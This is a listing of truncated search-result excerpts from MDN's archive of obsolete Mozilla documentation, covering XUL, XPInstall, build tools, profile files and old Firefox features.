the mozbeforeresize event is executed before a browser window is resized. general info specification mozilla specific interface event bubbles no cancelable no target window default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
Events - Archive of obsolete content
archived event pages domsubtreemodifiedmozaudioavailablemozbeforeresizemozorientationcachedchargingchangechargingtimechangecheckingdischargingtimechangedownloadingerrorlevelchangenoupdateobsoleteprogressupdateready ...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
g system allows your users to modify content for the portal, but in order to have their text spell checked they must click somewhere and wait for the response page. the inner-browsing model is able to provide users with automatic spell check without leaving the page being edited, a similar experience to a word processor application. the incorrect words are highlighted while the user is typing. forms with nested selects in today's web pages it is common to see selects where content is dependent on the selection made on another select. for example, imagine a web form where users have to choose their city, by first selecting country then state. for example, imagine a web form where users have to choose their city, by first selecting country then state. updating the selects without refreshing th...
Notes on HTML Reflow - Archive of obsolete content
be wrapped. some reflows are immediate in response to user or script actions; for example, resizing the window or changing the document's default font. these are dispatched directly from the presentation shell (e.g., nsipresshell::stylechangereflow), and affect the entire frame tree. other reflows are incremental and are dealt with asynchronously; for example, when content streams in from the network. incremental reflows are queued by the presentation shell for batched dispatch. reflow state the reflow state object, nshtmlreflowstate, is used to pass constraining information "down" from parent frames to child frames. for example, a <div> with a constrained width (e.g., set via the css width property) would note this in the reflow state object before flowing its ch...
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${pro...
How Mozilla finds its configuration files - Archive of obsolete content
erprofile%/mozprofile) allowed. we chose to point this to the user's home directory (h:\mozilla). the configuration itself is stored in the specified directory, in a file named prefs.js. this is a readable file of javascript commands. all other files in that directory are dynamically created by mozilla on first start. the of the binary registry file is described here. you may use the following items: a program to convert registry.dat file into a readable (and editable) xml file. usage: ./readmozprofile.pl < registry.dat >registry.xml a program to convert the xml file back into the binary registry.dat file. usage: ./writemozprofile.pl < registry.xml >registry.dat a ready-to-use registry.dat file pointing to h:\mozilla a registry.xml file pointing to h:\mozilla an example of a prefs.js f...
Kill the XUL.mfl file for good - Archive of obsolete content
efore mozilla again works correctly. with quicklauncer (see above), mozilla's speed is actually quite adequate, even without xul.mfl for these reasons, it is desirable to disable the xul.mfl functionality. unfortunately, there appears to be no "clean" way of doing so (javascript command in prefs.js or registry setting). but creating a subdirectory named xul.mfl in mozilla's profile directory seems to help (mozilla is not smart enough to remove the directory before creating the file, thus the presence of the directory effectively disables this (mis)feature). n.b. it seems that as of version 1.5, the xul.mfl file no longer is a problem, so this part may be skipped if you have a recent enough mozilla version. ...
Protecting Mozilla's registry.dat file - Archive of obsolete content
y be to put it into the user's profile directory on the server. however, this issue is problematic, because: when the users logs in for the first time, windows 2000 apparently doesn't load the profile from the server... in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders from %userprofile%\application data, including mozilla's . in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon script. moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon script is finished before ie's "perso...
Blackwood - Archive of obsolete content
blackwood consists of a series of java-based extensions to mozilla. blackwood's mission is to put java support in mozilla on a par with javascript support. ...
Bonsai - Archive of obsolete content
particular line of code ("cvsblame"). start at the main bonsai query page or seamonkey tree control page here are some example queries that will give you a taste of what bonsai is capable of: today's checkins to the mozilla source mainline. checkins to any branch of xfe by ramiro between 26-feb-1998 and 12-may-1998 differences between revisions 3.1 and 3.3 of the file mozilla/cmd/xfe/forms.c that's a small sample, but it should be enough to get you started. play around with the various options on the main bonsai query page. if you're updating our cvs tree you'll need to learn about hacking with bonsai. bonsai source code the source code to the bonsai tool itself is also available, check out the information available at the bonsai project page. original document information ...
Bookmark Keywords - Archive of obsolete content
ders within folders. in addition to being handy pointers to useful resources, bookmarks in mozilla can be used to make the address bar itself a power tool. searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks. the key to this ability, if you'll pardon the pun, is the ability to add a keyword to any mozilla bookmark. under ordinary circumstances, this might be used to reduce typing of a common url: http://www.cnn.com/ could be given the keyword cnn. once that's done, all it takes to go to the cnn home page would be to type <tt>cnn</tt> into the address bar. mozilla will automatically expand the keyword to the corresponding bookmarked url, and load up the site. that's pretty interesting on its own, but mozilla takes it a step furthe...
Adding the structure - Archive of obsolete content
« previousnext » ...
Conclusion - Archive of obsolete content
tutorial because there is no text to localize. how could it be added to the extension if necessary? tinderbox actually keeps track of more than one codebase. in particular, it tracks both the main mozilla codebase (the trunk) and a stable branch. how could you modify tinderstatus to show the status of both the trunk and the branch? this extension can be installed into netscape 7 without problems. firefox has slightly different chrome registry requirements, so you may need to modify the contents.rdf files. for example, you need to change chrome://navigator/content/navigator.xul to chrome://browser/content/browser.xul. « previous ...
Making a Mozilla installation modifiable - Archive of obsolete content
then edit mozilla's registry of ui files to use the extracted files instead of the original jar archives. the archives are stored within the chrome subdirectory of the mozilla installation directory. use your unzip utility to extract all files in that directory with a .jar extension. make sure you extract them into the same (chrome) directory in which they are located. on unix-like operating systems with bash-like shells, you can run the following command within that directory to accomplish this task: for file in *.jar; do unzip $file; done on operating systems with dos-like shells, the following command accomplishes this task: for %file in (*.jar); do unzip %file note that there are platform-specific files — en-mac.jar, en-unix.jar, and en-win.jar — in that directory. extract only the...
Making it into a static overlay - Archive of obsolete content
ribute our extension. integrating extensions into the mozilla codebase is beyond the scope of this tutorial, but for more information see mozilla.org's hacking documentation. mozilla installer packages are called xpis (pronounced "zippies"), which stands for cross-platform installer. the packages are just standard zip archives of the files to be installed along with a javascript script that performs the installation and some rdf files that describe the components being installed for the chrome registry. because our extension modifies an existing file in the mozilla distribution, before we package it up we need to separate the modifications into a different file and add them back in at run time via a dynamic xul overlay. a xul overlay is a xul file containing elements to be inserted into anot...
Prerequisites - Archive of obsolete content
you should also understand tag-based languages like html as well as basic javascript, css, and the dom. you might install mozilla multiple times in the course of this tutorial, so you will find it handy to keep around a mozilla installer. if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo. ...
Tinderbox - Archive of obsolete content
ineers to fix breakage, checks tinderbox even more regularly. while it isn't difficult to load the tinderbox web page or sidebar, it would be useful to have an even quicker way to check tinderbox that doesn't require going to a web page, changing sidebars, or even having the sidebar open. although there are multiple tinderbox clients machines doing different kinds of builds (f.e. different platforms), most people only care about the overall situation, i.e. whether or not any clients have failed. by checking for build failures first and test failures second, we make sure to show users the worst possible situation, i.e. if any clients have failed to build, we will display a red icon that signifies a build failure; if all clients built successfully but some failed tests we will display an orang...
Creating a Release Tag - Archive of obsolete content
macintosh that aren't pulled by the normal script and need to be pulled by hand. the mini-branch is created so you can check in the build scripts with the necessary changes without touching the original branch. check out mozilla from the branch you want to tag. remember to also check out extra mac and win32 files that aren't normally checked out on linux or the tag won't build on those platforms. cvs co -r netscape_6_2_release mozilla/client.mk cd mozilla gmake -f client.mk checkout create a mini branch for the pull scripts on all three platforms so we can change them without changing anything on the original branch. cd .. cvs tag -b mozilla_0_9_4_1_release_mini_branch mozilla/client.mk delete the existing build scripts and repull them from the mini-branch you just cr...
FAQ - Archive of obsolete content
when the mozilla developers make changes like this, they increase the skin version number. this is the number that is defined in contents.rdf. test your skin with every major release of mozilla. if a message appears in the preferences window telling you that it's an old skin, you're going to have to look over the code to see what changed. developers try to keep changes like this to a minimum, but sometimes it just can't be helped. ...
DTrace - Archive of obsolete content
h dtrace a guide on profiling javascript code using dtrace. adding probes a guide on creating probes and the build system magic needed to add probes to your code. ...
Dehydra Object Reference - Archive of obsolete content
ty type description .loc location object source location of a type or declaration. .attributes array of objects attributes of the type or declaration. each member of the array has the following properties: { name: string, value: string or number, if applicable } see an example on enforcing final classes. code can be annotated with arbitrary user attributes: __attribute__((user("customstring"))). variable objects dehydra presents ast nodes as variables. these types are used to represent variables, functions, assignments, etc. the following properties are usually available: property type description .name string the function or variable name. .type type object the type of this function or variable. .isstatic boolean flag .isreturn boolean flag the variable is...
Dehydra - Archive of obsolete content
ehydra function reference callback and utility functions for dehydra scripts. dehydra object reference javascript objects and properties provided by dehydra. dehydra faq answers to common questions static analyses analyses being worked on for mozilla 2 todo steps to dehydra 1.0 release community view dehydra forums... mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek david mandelin benjamin smedberg related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
Developing New Mozilla Features - Archive of obsolete content
ppens to you, let us know. we’ll talk to the developers in question, find others to help you, and try to improve your experience with the project. eventually you’ll be plugged in enough you won’t need us, you’ll be able to find your own back-ups. we’ll still want to know if a developer is consistently not responding to contributors, but you’ll be able to deal with the occasional problems just by asking someone else. design in the open post your plans to the appropriate newsgroup. if there is no response, double-check to see if you have been successful with suggestion five. try hard to design your feature so that it can be implemented and reviewed in manageable size patches if you can implement and submit core elements first and build on them in subsequent patches, so much the...
Devmo 1.0 Launch Roadmap - Archive of obsolete content
comments, ideas, questions and other discussion should be added on the devmo talk:1.0 launch roadmap page. further details on smaller tasks being done are available at user:dria:todo page. see also current events. design document items things that need to happen prior to a devmo 1.0 launch... timeline currently undetermined. ...
Download Manager preferences - Archive of obsolete content
erence description browser.download.dir a local folder the user may have selected for downloaded files to be saved. migration of other browser settings may also set this path. this folder is enabled when browser.download.folderlist equals 2. browser.download.folderlist indicates the default folder to download a file to. 0 indicates the desktop; 1 indicates the systems default downloads location; 2 indicates a custom (see: browser.download.dir) folder. in firefox 3 and earlier, the default is 0 (except on windows vista, where it's toggled to 1 on initial launch). in firefox 3.5 and seamonkey, the default is 1 on all platforms. for thunderbird, the default is 0. see also nsidownloadmanager nsidownload nsidownloadmanagerui ...
Drag and Drop Example - Archive of obsolete content
the user can click on one of several xul elements on the palette and drag it onto a stack element to create an element of a particular type. ...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
the flavour of the data. once you have the data, you can add it to the element is some way. for example, you might set the value of a textbox. var textobserver = { ondrop : function (event, transferdata, session) { event.target.setattribute("value",transferdata.data); } } the flavour system used allows multiple objects of various types to be dragged at once and also allows alternative forms of the data to be dragged. the following table describes some of the flavours you might use. you can also make up your own flavours if necessary. text/unicode text data text/html html data text/x-moz-url a url application/x-moz-file a local file see here for an overview of more data flavours. « previousnext » original document information author(s): neil deakin original doc...
Drag and Drop - Archive of obsolete content
n accept the object currently being dragged to be dropped on it. set the value to false if it doesn't make sense to drop the object on it. this should be changed in the ondragover and ondragenter event handlers. dragaction set to the current action to be performed, which should be one or more of the constants described earlier. this can be used to provide extra feedback to the user. numdropitems the number of items being dragged. for example, this will be set to 5 if five bookmarks are being dragged. getdata(transfer,index) get the data being dragged. the first argument should be an nsitransferable object to hold the data. the second argument, index, should be the index of the item to return. sourcedocument the document where the drag started. sourcenode the dom node where the...
Exception logging in JavaScript - Archive of obsolete content
c++ code called a javascript component, which threw an exception, that exception would be logged to the console before control was returned to the c++ caller. this had the unintended consequence of logging "expected" errors at length into the console. javascript code is sometimes designed to throw exceptions to report a result condition back to the c++ caller. these might be perfectly normal circumstances, but the exceptions were dutifully logged nonetheless. exception reporting in firefox 3 firefox 3 improves reporting of unhandled exceptions by establishing a set of rules that determines whether or not an exception is worth reporting: any methods on interfaces annotated with the [function] attribute in idl (see, for example, nsidomeventlistener) that throw exceptions always report those ...
Downloading Nightly or Trunk Builds - Archive of obsolete content
this usage may change. cutting edge firefox downloads. as a development organization, the mozilla community tends to describe things from the bottom up. so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses). ...
Layout FAQ - Archive of obsolete content
w the view until afterwards, but if none are pending, show the view immediately? what is the best way to determine whether there are any pending changes? on the reflow branch you could check the dirty and dirty_children framestate flags. that won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown. ...
Repackaging Firefox - Archive of obsolete content
tual repackaging job itself. first, set the source directory by clicking its "choose" button. the source directory is a directory that contains the windows installer, mac disk image (.dmg), and/or linux tarball of the standard firefox that you wish to customize. second, set the destination directory to the directory into which you wish to save the customized installers. the "platforms" section lets you select the platforms for which you wish to generate customized installers. check the boxes next to each one you want to generate. make sure you have the standard firefox install package in the source directory for each of these. the names of the source installer packages for each platform that are included in your source directory will appear next to each checkbox. the repacka...
Firefox - Archive of obsolete content
out-of-date information about the firefox project. downloading nightly or trunk buildsthere are some terms that are used by the mozilla community. one sees them on irc or in bugs. it can be helpful to know exactly what these refer to. note that this is an attempt at describing the current usage of these terms. this usage may change. ...
GRE Registration - Archive of obsolete content
llowing form: [1.7.10] gre_path=/usr/lib/mozilla-1.7.10 feature=value feature2=value2 these ini files can be in any of the following locations: /etc/gre.conf /etc/gre.d/*.conf ~/.gre.conf ~/.gre.d/*.conf mozilla has never officially shipped a linux gre based on the mozilla suite. however, some linux distributors including red hat/fedora core ship /etc/gre.d/*.conf files with the mozilla suite rpms. xulrunner rpms/post-install scripts should register xulrunner as a gre by running <tt>xulrunner -register-global</tt> and not hand-create a .conf file. the <tt>-register-global</tt> flag has special fallback semantics so that multiple xulrunners of the same version can be installed without overwriting registration files. ...
HTTP Class Overview - Archive of obsolete content
ninfo identifies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original doc...
Me - Archive of obsolete content
Archive › Mozilla › Jetpack › Meta › Me
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! the jetpack.me namespace provides mechanisms for introspecting the dynamic state of your jetpack. the namespace currently lives in the future and must be imported before it is used: jetpack.future.import("me"); methods onfirstrun(funcfunction)jetpack.me.onfirstrun() allows jetpacks to be notified after they are successfully installed. onfirstrun() accepts a callback which is called after installation. note that this mechanism is independent of the first-run page; in particular, the callback is not a load event listener or jquery ready callback. onfirstrun() ma...
UI - Archive of obsolete content
including entries and access elements into the toolbar panel a movable, expandable, and custom styled content element to display jetpack content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting users via provided ui mechanisms selection interacting with user-selected content window mitigates and eases interactions between different browser windows ...
Mac OS X Build Prerequisites/fink - Archive of obsolete content
you may download the most recent version of fink that is compatible with your operating system release. fink installs in /sw by default. the installer should configure the fink environment for you, making it available in any new terminal window. if you perform a major operating system upgrade on your computer, such as an upgrade from tiger to leopard, you should remove the /sw directory and re-install fink and the packages below. ...
Measuring add-on startup performance - Archive of obsolete content
ith both about startup and your add-on installed. the overhead can be calculated using the same formula. the about:startup page shows 3 different time measurements: main, sessionrestored and firstpaint. main happens very early in the startup process and should not be affected by add-ons being installed. the firstpaint time should be roughly similar to what talos tests. this can vary between systems, though. sessionrestored is fired later in the process, when firefox has loaded all tabs from the saved session. ...
Microsummary XML grammar reference - Archive of obsolete content
d elements: <template> (required) defines how to transform pages into their microsummaries. <pages> (required) identifies the set of pages that the generator is able to summarize. <update> (optional) specifies how frequently firefox should update the microsummaries. the <template> element the <template> element contains the xslt stylesheet which transforms web pages into their microsummaries. attributes: none. child elements: <stylesheet> or <transform> (required) the xslt stylesheet which performs the transformation. per xslt, you may specify the stylesheet child element using either the <stylesheet> or the <transform> tag, which are interchangeable. note: although the <template> element must be in the microsummaries namespace (...
Microsummary topics - Archive of obsolete content
ount\')"/> \ <text> fx downloads</text> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var domparser = components.classes["@mozilla.org/xmlextras/domparser;1"]. createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parsefromstring(generatortext, "text/xml"); var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"]. getservice(components.interfaces.nsimicrosummaryservice); var generator = microsummaryservice.installgenerator(generatordoc); the service installs the generator by serializing its xml to a file in the user's profile directory and adding the generator to the service's in-mem...
LIR - Archive of obsolete content
its operand is always a lir_calli, but one that specifies a function that returns a double. it indicates that the double result is returned via two 32-bit integer registers. the result is always used as the second operand of a lir_ii2d. ...
Plug-n-Hack - Archive of obsolete content
without integration between security tools and browsers, a user must often switch between the tool and their browser several times to perform a simple task, such as intercepting an http(s) request. pnh allows security tools to declare the functionality that they support which is suitable for invoking directly from the browser. a browser that supports pnh can...
FAQ - Archive of obsolete content
Archive › Mozilla › Prism › FAQ
raphics hardware, that will be available to web applications in both prism and firefox. how is prism different from xulrunner? prism is built on top of xulrunner. ...
Priority Content - Archive of obsolete content
page still under construction. migrators: nigel mcfarlane and ben karel shorter works mostly completed: bypassing security restrictions and signing code original: bypassing security restrictions and signing code wiki location: bypassing security restrictions and signing code migrators: joel stanley i added the related links from the original article. however, the link about signtool seems to be broken. anyone knows what to do? mathieu deaudelin 15:22, 17 may 2005 (pdt) mostly completed: netscape gecko compatibility handbook original: netscape gecko compatibility handbook wiki location: gecko compatibility handbook migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some code that cannot be integrated in the page.
Proxy UI - Archive of obsolete content
discussed in detail elsewhere... but should be noted that if you cut and paste from ie, the semi-colons are automatically converted to commas when you save changes (ff, tb, sm). automatic proxy configuration url supports a url (which is checked via urifixup) and a reload button. offline|online "plug" location status bar on the right side. right-click a menu is displayed that has the following items: online (proxy: none) online (proxy: auto discover) online (proxy: auto url) online (proxy: manual) --- proxy configuration... <h7 name="details">details</h7> the menu should display the current proxy mode with a dot. the modes that can have an empty configuration (auto url and manual) will be disabled if the prefs are blank. selecting an enabled item sets the menu selection and the proxy mode (n...
RDF Datasource How-To - Archive of obsolete content
led, or the last reference to the datasource is released, a routine walks the in-memory datasource and re-serializes the graph back to the original file format. for examples of an implementation like this, look at the rdf/xml datasource or the bookmarks datasource. you may want to choose this implementation if your primary goal is to "wrap" a legacy data store. this implementation may cause problems if your data store can be modified "on the fly" by other agents. aggregate the in-memory datasource. this is an extreme case of delegation, where you use xpcom aggregation to implement the nsirdfdatasource interface. see aggregating the in-memory datasource for technical details. if you take this approach, you won't be able to selectively implement methods of the nsirdfdatasource interface; ins...
Running Windows Debug Builds Downloaded From Tinderbox - Archive of obsolete content
you can see this by looking in at firefox.exe with http://www.dependencywalker.com/. unfortunately these dlls are not redistributable. to get these dlls you only have to install the visual c++ compilers from the windows vista sdk. no other packages are necessary. if you are a mozilla employee or contractor, click for more instructions. ...
Space Manager High Level Design - Archive of obsolete content
should be private (compiles fine) nsblockframe::paint is mucking with nsblockbanddata in and #if 0 block - remove that and the include (compiles fine) nsspacemanger has no way of clearing t...
Table Cellmap - Archive of obsolete content
game, border collapse is still far away cellmap data - overview the entries in the cellmap contain information about the table cell frame corresponding to a given row and column number (celldata.h). further it contains info whether this entry is a row- or colspan. 79 // this union relies on the assumption that an object (not primitive type) does 80 // not start on an odd bit boundary. if mspan is 0 then morigcell is in effect 81 // and the data does not represent a span. if mspan is 1, then mbits is in 82 // effect and the data represents a span. 83 union { 84 nstablecellframe* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell cell without a defined row- or c...
Tamarin Acceptance Testing - Archive of obsolete content
changes to the tamarin code base are high quality before submitting, all developers are required to complete the following steps. ...
Tamarin Build System Documentation - Archive of obsolete content
at the bottom of a set of buildsteps to see the result of all of the buildsteps for a build and the time each buildstep took scroll down to see previous builds triggered at the bottom of the page click on the [next page] link to display more previous builds what are the goals of the build system (qos)? to provide quick and accurate results of building and testing tamarin on supported platforms and configurations to represent the build results in a clear and concise manor please give use feedback if you have any comments or suggestions to improve the build system how to add tests to the smokes? the list of smoke tests are located in the tamarin-repository, test/run-smokes.txt, assume the start directory is test format is cd testdir; command to run test above the test should be a # co...
Treehydra - Archive of obsolete content
mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek david mandelin related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
Using gdb on wimpy computers - Archive of obsolete content
rom /usr/lib/gtk/themes/engines/libthinice.so...done. loaded symbols for /usr/lib/gtk/themes/engines/libthinice.so (gdb) as you see above, it's possible to load more than one library with the same load command in gdb. ...
When To Use ifdefs - Archive of obsolete content
term is used more loosely to discuss any kind of conditional that differentiates between different build configurations. when are ifdefs used? there are three major kinds of ifdefs in use in the mozilla tree: platform/widget ifdefs, feature ifdefs, and application-specific ifdefs: platform/widget ifdefs the mozilla code will frequently need to differentiate between code for different platforms or widget sets. these ifdefs are generally always acceptable. the only time when they might be a problem is in cross-platform extension code and locales: since this code is downloaded on multiple platforms, platform-specific ifdefs are generally out of the question. for an example of platform-specfic ifdefs, see nscrt.h. feature ifdefs the mozilla code has many features that can be enabled or ...
Writing textual data - Archive of obsolete content
when writing textual data to an output stream or to a file, you need to pick a character encoding. some character encodings (utf-8, utf-16, utf-32) can represent "all" characters (the full repertoire of unicode) while others can only represent a subset of the full repertoire. when the file is to be read only by the application/extension itself, using utf-8 is often the best choice — it can represent all characters, and ascii characters are represented efficiently. ...
Binding Implementations - Archive of obsolete content
ame method or property, then the most derived binding's method or property will be used. because bindings extend dom elements, they can override any built-in methods or properties on the dom element. for example, a binding could override the setattribute method on element or the retrieval of the value property for an htmlinputelement. the following is currently not implemented in mozilla, it seems. see bug #373652 for some details. implementations can be named using a name attribute specified on the implementation element. when an implementation has a name, that name can be used to disambiguate the desired method or property. note: the following paragraphs suggest a syntax for how javascript might enable access to base class methods and properties. this is an open issue. should we attem...
Elements - Archive of obsolete content
used to refer to the field on the bound element. readonly - if true, this field is read-only. if this attribute is omitted, the field will be readable and writable. note: the readonly attribute did not work correctly on xbl fields until gecko 2.0. note: in firefox 3, fields are now evaluated the first time they're accessed instead of at binding attachment time. this shouldn't cause any problems in typical use cases, but there are cases in which this will impact the behavior of your code. see bug 372769 for details. here are some examples of cases in which the behavior of your code may change due to this change in firefox 3: if you have two fields, one named a and one named b, and field a sets .b, the value of .b will depend on whether or not .a has already been accessed. if a proto...
Install Wizards (aka: Stub Installers) - Archive of obsolete content
bout the xpinstall and installer packages please refer to the annotated browser xpi installer and the xpinstall api reference. what do we mean by engine code? the xpinstall engine processes installer packages by reading instructions from their install scripts to extract files and take other install actions. the same xpinstall engine is used by the browser and the stub installers on all platforms. the xpinstall engine source resides at: <http://lxr.mozilla.org/seamonkey/sou...xpinstall/src/> what do we mean by stub installer? the install wizards used to install mozilla are lightweight stubs targeted to be around 200 kb disk footprint. users download the stub installers, choose which packages to install, choose the destination directory for the installation, and select from various othe...
Install script template - Archive of obsolete content
return myregstatus; } // write the suffix (extension), (one value-key with no value) myregstatus = winreg.setvaluestring(suffixpath, suffix, "\0"); if (myregstatus != 0) { logcomment("moz registerplid: could not create the suffix value. regpath="+suffixpath+", value="+suffix+", as expected. errorcode="+myregstatus); return myregstatus; } logcomment("moz registerplid: registry keys seems to be written successfully"); return 0; } ...
windowsGetShortName - Archive of obsolete content
summary returns a path that conforms to the windows 8.3 file naming convention. method of file object syntax string windowsgetshortname( object localdirspec ) parameters the windowsregisterserver method has the following parameter: localdirspec a filespecobject representing a directory obtained by getcomponentfolder or getfolder. returns a string with the windows shortname. if the path already conforms to 8.3, the return value is null. example flongfilepath = getfolder(fprogram, "longfilename.file"); sshortfilepath = file.windowsgetshortname(flongfilepath); if(sshortfilepath) { // do something } ...
cancelInstall - Archive of obsolete content
method of install object syntax void cancelinstall() void cancelinstall( int errorcode ) parameters none. returns an integer error code. the optional argument is an error code that can be returned to the triggering page. for most purposes, it's recommended that one of the standard return codes be used. but a script can, in fact, return any valid integer. for a list of possible values, and any custom errorcode created by install writer, see return codes. ...
gestalt - Archive of obsolete content
...
getLastError - Archive of obsolete content
initinstall or reseterror were called. ...
getWinProfile - Archive of obsolete content
meter, such as "royal/royal.ini". returns a winprofile object. description the getwinprofile method creates an object for manipulating the contents of a windows .ini file. once you have this object, you can call its methods to retrieve strings from the file or to add strings to the file. for information on the returned object, see winprofile. this method returns null on unix and macintosh platforms. example to edit the win.ini file, you would create a winprofile object with this call: var mywinprofileobj = getwinprofile (getfolder("windows"), "win.ini"); ...
getWinRegistry - Archive of obsolete content
...
performInstall - Archive of obsolete content
moves all components to their final locations, launches any pending executions, and registers the package and all of its subcomponents in the client version registry. method of install syntax int performinstall(); parameters none. returns an integer error code. for a list of possible values, see return codes. in some situations the method may return other errors. in a few cases you may get a registry error. example use the following code to abort or to finalize an installation, based on a variable you set earlier in your code: initinstall("royal airways tripplanner", "/royalairways/tripplanner", "1.0.0.0"); ... ...
setPackageFolder - Archive of obsolete content
method has the following parameter: folder an object representing a directory. you create this object by passing a string representing the directory to the getfolder or getcomponentfolder method. returns none. description the setpackagefolder method to set the default package folder that is saved with the root node. when the package folder is set, it is used as the default for forms of addfile and other methods that have an optional localdirspec parameter. you should only call this method once, and you should always call it immediately after you call initinstall. if you call setpackagefolder multiple times, the last folder set is the folder that is saved in the client version registry and used as the default for other installations. ...
setRootKey - Archive of obsolete content
has the following parameter: key an integer representing a root key in the registry. returns nothing. description the setrootkey changes the root key. when you create a winreg object, it is set to access keys under the hkey_classes_root portion of the registry. if you want to access keys in another portion, you must use this method to change the root key. on 16-bit windows platforms, hkey_classes_root is the only valid value and this method does nothing. these root keys are represented as fields of the winreg object. the values you can use are: hkey_classes_root hkey_current_user hkey_local_machine hkey_users example to use the hkey_users section, use these statements: winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_users); ...
XPInstall - Archive of obsolete content
kage as the basis for discussing xpi installations in general. creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users. install wizards (aka: stub installers) view all... community view mozilla forums... mailing list newsgroup rss feed tools xpinstall trigger page related topics extensions, xul, xpi ...
Mozilla E4X - Archive of obsolete content
directly in javascript (ecma-262, iso-16262). e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists. e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants. another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. questions and discussion mozilla e4x - discussion ...
XTech 2005 Presentations - Archive of obsolete content
directly in javascript (ecma-262, iso-16262). e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists. e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants. another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. directions of the mozilla rdf engine: website scripting, standards conformance and perfomance - axel hecht this presentation showed new developments in the mozilla rdf engine. these include plans to expose the rdf api to public web content, as well as performance and correctness improvements. rich web: sv...
accesskey - Archive of obsolete content
« xul reference home attribute of: button, checkbox, caption, description, label, listitem, menu, menuitem, menulist, tab, radio, toolbarbutton, textbox accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. on non-macintosh platforms, the character on the element's label matching the accesskey is underlined. for example, when a menu labeled 'file' has an accesskey of 'f', the generated label will be 'file'. when the user presses a modifier key specific to the platform (eg, control* on windows, command* on macintosh) and the access key, the element will be focused and/or activated from anywhere in the window. on the macintosh, labels are never ...
browser.type - Archive of obsolete content
owser is not allowed to access the chrome above it. ...
currentset - Archive of obsolete content
this will be modified when the user customizes the toolbar. the value of this attribute should be a comma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer". ...
defaultset - Archive of obsolete content
« xul reference home defaultset not in seamonkey 1.x type: comma-separated list of item ids the default set of displayed items on the toolbar. this should be set to a comma-separated list of item ids from the toolbarpalette. for example, back-button,forward-button,print-button. ...
disableKeyNavigation - Archive of obsolete content
« xul reference home disablekeynavigation type: boolean if this attribute is not used, the user can navigate to specific items within the element by pressing keys corresponding to letters in the item's label. this is done incrementally, so typing more letters with select more specific items. this feature may be disabled by setting this attribute to true. ...
disableautoselect - Archive of obsolete content
« xul reference home disableautoselect type: boolean if this attribute is true or omitted, the selected item on the menu will update to match what the user entered in the textbox. if the text does not match any of the items in the list, the menu selection is cleared. if this attribute is false, the selection is never updated to match the text box. this attribute applies only to editable menulists. ...
disabled - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. // disabling an element document.getelementbyid('buttonremove').setattribute("disabled", "disabled"); // enabling back an element by removing the "disabled" attribute document.getelementbyid('buttonremove').removeattribute("disabled"); firefox 3.5 note for keyset elements, support for this at...
drawintitlebar - Archive of obsolete content
...
droppedLinkHandler - Archive of obsolete content
